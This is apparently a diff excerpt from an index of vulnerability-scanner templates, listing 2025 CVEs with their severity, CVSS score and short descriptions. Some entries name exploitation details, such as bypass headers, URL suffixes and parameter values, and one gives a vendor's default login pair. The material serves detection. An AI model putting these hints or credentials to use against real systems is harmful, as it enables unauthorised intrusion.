{"ID":"CVE-2025-25296","Info":{"Name":"Label Studio \u003c 1.16.0 - Cross-Site Scripting","Severity":"medium","Description":"Label Studio prior to version 1.16.0 contains a cross-site scripting caused by rendering unsanitized user-provided HTML in the /projects/upload-example endpoint, letting attackers execute arbitrary JavaScript via crafted label_config in a GET request, exploit requires victims to visit malicious URL.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-25296.yaml"}
@@ -3621,6 +3630,7 @@
{"ID":"CVE-2025-2611","Info":{"Name":"ICTBroadcast - Command Injection","Severity":"critical","Description":"The ICTBroadcast application unsafely passes session cookie data to shell processing, allowing an attacker to inject shell commands into a session cookie that get executed on the server. This results in unauthenticated remote code execution in the session handling. Versions 7.4 and below are known to be vulnerable.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2611.yaml"}
{"ID":"CVE-2025-26319","Info":{"Name":"FlowiseAI Flowise \u003c= 2.2.6 - Arbitrary File Upload","Severity":"high","Description":"FlowiseAI Flowise version 2.2.6 and below contains an arbitrary file upload vulnerability in the /api/v1/attachments endpoint. This vulnerability allows an unauthenticated attacker to upload files outside the intended directory through path traversal, potentially leading to API key exposure and remote code execution. The vulnerability can be exploited by uploading a malicious file to overwrite the .flowise/api.json configuration file.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-26319.yaml"}
{"ID":"CVE-2025-2636","Info":{"Name":"InstaWP Connect \u003c 0.1.0.86 - Local PHP File Inclusion","Severity":"high","Description":"The InstaWP Connect - 1-click WP Staging \u0026 Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2636.yaml"}
{"ID":"CVE-2025-26399","Info":{"Name":"SolarWinds Web Help Desk \u003c 12.8.7 - AjaxProxy Deserialization RCE","Severity":"critical","Description":"SolarWinds Web Help Desk contains an unauthenticated AjaxProxy deserialization remote code execution vulnerability, letting attackers run commands on the host machine without authentication, exploit requires no special privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-26399.yaml"}
{"ID":"CVE-2025-26793","Info":{"Name":"FREEDOM Administration - Default Login","Severity":"critical","Description":"The Web GUI configuration panel of Hirsch (formerly Identiv and Viscount) Enterphone MESH through 2024 ships with default credentials (username freedom, password viscount). The administrator is not prompted to change these credentials on initial configuration, and changing the credentials requires many steps. Attackers can use the credentials over the Internet via mesh.webadmin.MESHAdminServlet to gain access to dozens of Canadian and U.S. apartment buildings and obtain building residents' PII. NOTE- the Supplier's perspective is that the \"vulnerable systems are not following manufacturers' recommendations to change the default password.\"\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-26793.yaml"}
{"ID":"CVE-2025-27007","Info":{"Name":"OttoKit \u003c 1.0.83 - SureTriggers allows Privilege Escalation","Severity":"critical","Description":"Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-27007.yaml"}
{"ID":"CVE-2025-2709","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2709.yaml"}
@@ -3652,6 +3662,7 @@
{"ID":"CVE-2025-2907","Info":{"Name":"Order Delivery Date Pro for WooCommerce \u003c 12.3.1 - Arbitrary Option Update","Severity":"critical","Description":"The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2907.yaml"}
{"ID":"CVE-2025-29085","Info":{"Name":"Vipshop Saturn Console \u003c= 3.5.1 - SQL Injection via ClusterKey Component","Severity":"critical","Description":"SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29085.yaml"}
{"ID":"CVE-2025-29306","Info":{"Name":"FoxCMS v.1.2.5 - Remote Code Execution","Severity":"critical","Description":"An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29306.yaml"}
{"ID":"CVE-2025-29635","Info":{"Name":"D-Link DIR-823X set_prohibiting - Command Injection","Severity":"high","Description":"D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2025/CVE-2025-29635.yaml"}
{"ID":"CVE-2025-29925","Info":{"Name":"XWiki REST API - Private Pages Disclosure","Severity":"high","Description":"A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-29925.yaml"}
{"ID":"CVE-2025-29927","Info":{"Name":"Next.js Middleware Bypass","Severity":"critical","Description":"Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.\nThe vulnerability allows attackers to bypass middleware security controls by sending a specially crafted\n'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-29927.yaml"}
{"ID":"CVE-2025-30208","Info":{"Name":"Vite - Arbitrary File Read","Severity":"medium","Description":"Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import\u0026raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-30208.yaml"}
@@ -3665,7 +3676,6 @@
{"ID":"CVE-2025-31324","Info":{"Name":"SAP NetWeaver Visual Composer Metadata Uploader - Deserialization","Severity":"critical","Description":"SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-31324.yaml"}
{"ID":"CVE-2025-31486","Info":{"Name":"Vite server.fs.deny Bypass - Local File Inclusion","Severity":"medium","Description":"Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-31486.yaml"}
{"ID":"CVE-2025-31489","Info":{"Name":"MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads","Severity":"high","Description":"MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access\nto - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-31489.yaml"}
{"ID":"CVE-2025-32101","Info":{"Name":"UNA CMS \u003c= 14.0.0-RC4 - PHP Object Injection","Severity":"critical","Description":"The vulnerability is located in the /template/scripts/BxBaseMenuSetAclLevel.php script. Specifically, within the BxBaseMenuSetAclLevel::getCode() method. When calling this method, user input passed through the \"profile_id\" POST parameter is not properly sanitized before being used in a call to the unserialize() PHP function. This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP objects into the application scope, allowing them to perform a variety of attacks, such as writing and executing arbitrary PHP code.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32101.yaml"}
{"ID":"CVE-2025-32257","Info":{"Name":"1 Click WordPress Migration \u003c= 2.2 - Unauthenticated Information Disclsoure","Severity":"medium","Description":"1 Click WordPress Migration \u003c= 2.2 contains an information disclosure caused by uncleared debug information, letting attackers retrieve embedded sensitive data, exploit requires no specific privileges.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32257.yaml"}
{"ID":"CVE-2025-32355","Info":{"Name":"Rocket TRUfusion Enterprise - Server Side Request Forgery","Severity":"high","Description":"Rocket TRUfusion Enterprise through 7.10.4.0 uses a reverse proxy to handle incoming connections. However, the proxy is misconfigured in a way that allows specifying absolute URLs in the HTTP request line, causing the proxy to load the given resource.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-32355.yaml"}
{"ID":"CVE-2025-32395","Info":{"Name":"Vite - Path Traversal","Severity":"medium","Description":"Vite versions prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13 contain a file exposure vulnerability caused by improper handling of request URLs with '#' in the dev server running on Node or Bun, letting attackers access arbitrary files, exploit requires the server to be exposed to the network and running on Node or Bun.\n","Classification":{"CVSSScore":"6.0"}},"file_path":"http/cves/2025/CVE-2025-32395.yaml"}
@@ -3694,7 +3704,6 @@
{"ID":"CVE-2025-34045","Info":{"Name":"WeiPHP 5.0 - Path Traversal","Severity":"high","Description":"WeiPHP 5.0 contains a path traversal caused by insufficient input validation of the picUrl parameter in /public/index.php/material/Material/_download_imgage, letting unauthenticated remote attackers read arbitrary files.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-34045.yaml"}
{"ID":"CVE-2025-34073","Info":{"Name":"Maltrail \u003c=0.54 Username Parameter - Remote Command Execution","Severity":"critical","Description":"Maltrail versions \u003c=0.54. A remote attacker can execute arbitrary operating system commands via the username parameter in a POST request to the /login endpoint.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34073.yaml"}
{"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
{"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
{"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
{"ID":"CVE-2025-34143","Info":{"Name":"ETQ Reliance - Authentication Bypass via Trailing Space","Severity":"critical","Description":"An authentication bypass vulnerability exists in ETQ Reliance on the CG (legacy) platform. The application allowed login as the privileged internal SYSTEM user by manipulating the username field. The SYSTEM account does not require a password, enabling attackers with network access to the login page to obtain elevated access. Once authenticated, an attacker could achieve remote code execution by modifying Jython scripts within the application. This issue was resolved by introducing stricter validation logic to exclude internal accounts from public authentication workflows in version MP-4583.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34143.yaml"}
{"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
@@ -3779,6 +3788,7 @@
{"ID":"CVE-2025-51501","Info":{"Name":"Microweber CMS2.0 - Cross-Site Scripting","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51501.yaml"}
{"ID":"CVE-2025-51502","Info":{"Name":"Microweber CMS 2.0 - Reflected XSS in Admin Page Creation","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51502.yaml"}
{"ID":"CVE-2025-51586","Info":{"Name":"PrestaShop - Information Disclosure","Severity":"medium","Description":"User enumeration vulnerability in the AdminLogin controller in PrestaShop 1.7 through 8.2.2 allows remote attackers to obtain administrators user email addresses via manipulation of the id_employee and reset_token parameters. An attacker who has access to the Back Office login URL can trigger the password reset form to disclose the associated email address in a hidden field, even when the provided reset token is invalid. This issue has been fixed in 8.2.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51586.yaml"}
{"ID":"CVE-2025-51683","Info":{"Name":"mJobTime \u003c= 15.7.2 - Unauthenticated Blind SQL Injection to RCE","Severity":"critical","Description":"mJobtime v15.7.2 contains a sql injection caused by crafted POST request to /Default.aspx/update_profile_Server, letting unauthenticated attackers execute arbitrary SQL statements remotely, exploit requires no special privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-51683.yaml"}
{"ID":"CVE-2025-51990","Info":{"Name":"XWiki – Stored Cross-Site Scripting (XSS)","Severity":"medium","Description":"XWiki through version 17.3.0 contains stored cross-site scripting caused by improper sanitization of inputs in the Administration interface's Presentation section, letting authenticated administrators inject JavaScript that executes in visitors' browsers, exploit requires administrator authentication.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-51990.yaml"}
{"ID":"CVE-2025-51991","Info":{"Name":"XWiki \u003c= 17.3.0 - Server-Side Template Injection (SSTI)","Severity":"critical","Description":"XWiki \u003c= 17.3.0 contains a server-side template injection caused by improper validation of Apache Velocity template code in the Administration interface HTTP Meta Info field, letting authenticated administrators execute arbitrary template logic.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-51991.yaml"}
{"ID":"CVE-2025-52207","Info":{"Name":"MikoPBX - Unrestricted File Upload","Severity":"critical","Description":"MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-52207.yaml"}
@@ -3799,6 +3809,7 @@
{"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. This vulnerability is part of the ToolShell exploit chain and when combined with CVE-2025-53771 (authentication bypass), enables unauthenticated remote code execution. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
{"ID":"CVE-2025-53771","Info":{"Name":"Microsoft SharePoint Server - Authentication Bypass (ToolShell)","Severity":"medium","Description":"Microsoft Office SharePoint Server contains an improper authentication vulnerability that allows unauthorized attackers to perform spoofing over a network. By crafting a POST request to /_layouts/15/ToolPane.aspx with a forged Referer header (/_layouts/SignOut.aspx), attackers can bypass authentication mechanisms and gain unauthorized access to protected endpoints. This vulnerability is part of the ToolShell exploit chain and is a patch bypass for CVE-2025-49706. When chained with CVE-2025-53770 (deserialization vulnerability), it enables unauthenticated remote code execution on SharePoint Server.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-53771.yaml"}
{"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
{"ID":"CVE-2025-53887","Info":{"Name":"Directus \u003c 11.9.0 - Version Disclosure","Severity":"medium","Description":"Directus versions from 9.0.0 before 11.9.0 expose the exact running version through the OpenAPI specification returned by the unauthenticated /server/specs/oas endpoint. The version is placed in the OpenAPI info.version field, letting an unauthenticated attacker fingerprint the precise Directus release. The fix replaces the exact version in that field with a hashed value.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-53887.yaml"}
{"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
{"ID":"CVE-2025-54068","Info":{"Name":"Laravel Livewire v3 - Remote Command Execution","Severity":"critical","Description":"Livewire v3 (Laravel) contains a vulnerability in its component hydration/update mechanism that can be exploited to reach remote command execution (RCE) without authentication under certain conditions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-54068.yaml"}
{"ID":"CVE-2025-54123","Info":{"Name":"Hoverfly \u003c= 1.11.3 - Remote Code Execution","Severity":"critical","Description":"Hoverfly versions 1.11.3 and below are vulnerable to remote code execution (RCE) via command injection in the middleware API endpoint (/api/v2/hoverfly/middleware). Insufficient validation of the 'binary' and 'script' parameters allows an unauthenticated attacker to execute arbitrary commands on the host system.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-54123.yaml"}
@@ -3811,6 +3822,7 @@
{"ID":"CVE-2025-54726","Info":{"Name":"WordPress JS Archive List \u003c= 6.1.5 - SQL Injection","Severity":"high","Description":"Miguel Useche JS Archive List contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-54726.yaml"}
{"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
{"ID":"CVE-2025-54793","Info":{"Name":"Astro SSR - Open Redirect","Severity":"medium","Description":"Astro 5.2.0 through 5.12.7 contains an open redirect caused by improper handling of paths with double slashes in trailing slash redirection logic, letting attackers redirect users to arbitrary external domains, exploit requires on-demand SSR with Node or Cloudflare adapters.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-54793.yaml"}
{"ID":"CVE-2025-54988","Info":{"Name":"Apache Tika - XXE Injection","Severity":"critical","Description":"Apache Tika versions 1.13 through 3.2.1 are vulnerable to XXE via malicious XFA in PDFs, allowing file read and SSRF attacks.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-54988.yaml"}
{"ID":"CVE-2025-55150","Info":{"Name":"Stirling-PDF \u003c 1.1.0 - Server-Side Request Forgery","Severity":"high","Description":"Stirling-PDF \u003c 1.1.0 contains a server side request forgery caused by bypassing the sanitizer in the /api/v1/convert/html/pdf endpoint when processing HTML to PDF conversion, letting attackers perform SSRF, exploit requires local access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-55150.yaml"}
{"ID":"CVE-2025-55161","Info":{"Name":"Stirling-PDF SSRF via Markdown","Severity":"high","Description":"Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Prior to version 1.1.0, when using the /api/v1/convert/markdown/pdf endpoint to convert Markdown to PDF, the backend calls a third-party tool to process it and includes a sanitizer for security sanitization which can be bypassed and result in SSRF.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-55161.yaml"}
{"ID":"CVE-2025-55169","Info":{"Name":"WeGIA - Directory Traversal","Severity":"critical","Description":"WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-55169.yaml"}
@@ -3820,6 +3832,7 @@
{"ID":"CVE-2025-55303","Info":{"Name":"Astro - Unauthorized Third-Party Image Access","Severity":"medium","Description":"Astro \u003c 5.13.2 and \u003c 4.16.18 contains an information disclosure vulnerability caused by improper validation of protocol-relative URLs in the image optimization endpoint, letting attackers serve images from unauthorized third-party domains, exploit requires on-demand rendering deployment.\n","Classification":{"CVSSScore":"6.4"}},"file_path":"http/cves/2025/CVE-2025-55303.yaml"}
{"ID":"CVE-2025-55523","Info":{"Name":"Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download","Severity":"high","Description":"Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55523.yaml"}
{"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
{"ID":"CVE-2025-55746","Info":{"Name":"Directus - Unauthenticated File Modification","Severity":"critical","Description":"Directus versions from 10.8.0 before 11.9.3 allow unauthenticated attackers to modify the contents of an existing file when a valid file UUID is known. The PATCH /files/{id} endpoint processes multipart file uploads without proper authentication, allowing file content replacement despite returning a 403 status code. This template requires a known, controlled Directus file UUID provided via the file_id variable.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-55746.yaml"}
{"ID":"CVE-2025-55747","Info":{"Name":"XWiki Platform - Information Disclosure","Severity":"high","Description":"XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-55747.yaml"}
{"ID":"CVE-2025-55748","Info":{"Name":"XWiki Platform - Path Traversal","Severity":"high","Description":"XWiki Platform 4.2-milestone-2 through 16.10.6 contains a path traversal caused by improper access control in jsx and sx endpoints, letting remote attackers read configuration files, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55748.yaml"}
{"ID":"CVE-2025-55749","Info":{"Name":"XWiki - Information Disclosure","Severity":"high","Description":"XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-55749.yaml"}
@@ -3829,6 +3842,7 @@
{"ID":"CVE-2025-56520","Info":{"Name":"Dify v1.6.0 - Server-Side Request Forgery","Severity":"high","Description":"Dify v1.6.0 contains a server side request forgery caused by improper validation in controllers.console.remote_files.RemoteFileUploadApi, letting attackers make arbitrary requests from the server, exploit requires network access.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-56520.yaml"}
{"ID":"CVE-2025-56819","Info":{"Name":"Datart v1.0.0-rc.3 - Remote Code Execution","Severity":"critical","Description":"Datart v1.0.0-rc.3 contains a vulnerability that allows remote attackers to execute arbitrary code via INIT connection parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-56819.yaml"}
{"ID":"CVE-2025-5701","Info":{"Name":"HyperComments \u003c= 1.2.2 - Arbitrary Options Update","Severity":"critical","Description":"The HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hc_request_handler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5701.yaml"}
{"ID":"CVE-2025-57231","Info":{"Name":"Docmost 0.2.1-0.21.0 - Arbitrary File Read","Severity":"high","Description":"Docmost v0.21.0 contains a path traversal caused by improper handling of avatar attachments, letting unauthenticated attackers disclose local files via a POST request on a public URL.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-57231.yaml"}
{"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
{"ID":"CVE-2025-57788","Info":{"Name":"Commvault Unauthenticated Password Disclosure (WT-2025-0047)","Severity":"medium","Description":"An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-57788.yaml"}
{"ID":"CVE-2025-57789","Info":{"Name":"Commvault Initial Administrator Login Process Vulnerability","Severity":"medium","Description":"An issue was discovered in Commvault before 11.36.60.During the brief window between installation and the first administrator login, remote attackers may exploit the default credential to gain admin control. This is limited to the setup phase, before any jobs have been configured.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-57789.yaml"}
@@ -3872,6 +3886,7 @@
{"ID":"CVE-2025-62613","Info":{"Name":"VDO.Ninja - DOM-Based Cross-Site Scripting","Severity":"medium","Description":"VDO.Ninja 28.0 to 28.3 contains a reflected XSS caused by improper sanitization of the room parameter in examples/control.html, letting remote attackers execute scripts, exploit requires crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-62613.yaml"}
